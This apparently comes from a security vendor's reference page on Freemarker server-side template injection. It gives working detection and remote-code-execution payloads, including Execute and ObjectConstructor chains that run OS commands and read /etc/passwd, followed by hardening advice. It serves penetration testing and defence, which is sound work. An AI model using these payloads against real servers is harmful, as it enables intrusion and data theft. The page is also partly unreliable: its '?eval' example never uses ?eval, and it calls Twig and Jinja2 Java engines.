Freemarker SSTI
Server-side template injection in Freemarker — the detection payloads that work, the RCE paths that still land in 2026, and the defensive configuration (new_builtin_class_resolver, template loader restrictions) that actually blocks exploitation.
Run Freemarker SSTI scannerWhy Freemarker SSTI keeps appearing
Freemarker is the default template engine for several Java frameworks (Spring, legacy Struts deployments, Confluence pre-7.x, HubSpot CMS, countless internal applications). Default configurations historically allowed class resolution from template expressions, which turned any template-injectable input into a remote code execution surface. Modern Freemarker releases tightened defaults but legacy applications and templates with user-controlled content continue to appear in pen testing engagements.
The exploitable pattern is user-controlled input flowing into a template string. Common sources: email templates where the subject or body is user-provided, admin-configurable notification templates, support ticket responses rendered through Freemarker, and content management systems where editors can embed Freemarker expressions. The attacker's goal is to get a payload rendered as template syntax rather than literal text.
Detection and RCE payloads
Basic SSTI detection
Arithmetic probe — if the response reflects 49, the input is being parsed by Freemarker rather than treated as literal.
${7*7}Class resolution test
Verify that Freemarker will resolve Java classes from input. If this returns a class reference string, class resolution is open.
${"freemarker.template.utility.Execute"?new()}RCE via Execute (classical)
The classical Freemarker RCE — instantiate the Execute utility and run an OS command. Works against Freemarker configurations with no new_builtin_class_resolver restriction.
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}RCE via ObjectConstructor
Alternative RCE path via ObjectConstructor — useful when Execute is blacklisted but class resolution is open.
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=oc("java.lang.ProcessBuilder","id")>
${pb.start()}RCE via assign + ?eval
Chain assign with ?eval to execute arbitrary FTL expressions constructed at runtime — useful against partial input filtering.
<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("whoami")}File read via ObjectConstructor
Non-RCE file read for environments where command execution is blocked but class resolution is open.
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
<#assign fr=oc("java.io.FileReader","/etc/passwd")>Defensive configuration
The three-layer defence that actually blocks Freemarker SSTI exploitation:
First, restrict class resolution. Configure new_builtin_class_resolver to TemplateClassResolver.ALLOWS_NOTHING_RESOLVER on every Freemarker Configuration instance. This blocks the ?new() builtin from instantiating arbitrary Java classes — the single most important hardening.
Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);Second, template loader restrictions. Load templates only from a trusted directory via FileTemplateLoader or classpath — never from user-controlled sources. User-provided template content should be treated as data, not as a template.
Third, user-input isolation. User-provided content must be passed as a template variable ($${userInput$}) rather than embedded in the template string. Even with class resolution restricted, embedding user-controlled text in template source enables denial-of-service via infinite recursion and information disclosure via server-side variable leakage.
Related template engines
Freemarker is one of several Java template engines with similar SSTI exposure. The equivalent exploitation patterns apply to Velocity, Pebble, Twig, and Jinja2. The expression language injection scanner covers the OGNL and SpEL variants common in Spring and Struts applications.
Stop finding vulnerabilities manually
TigerStrike uses AI agents to continuously discover, validate, and exploit vulnerabilities across your applications — so your team can focus on fixing what matters.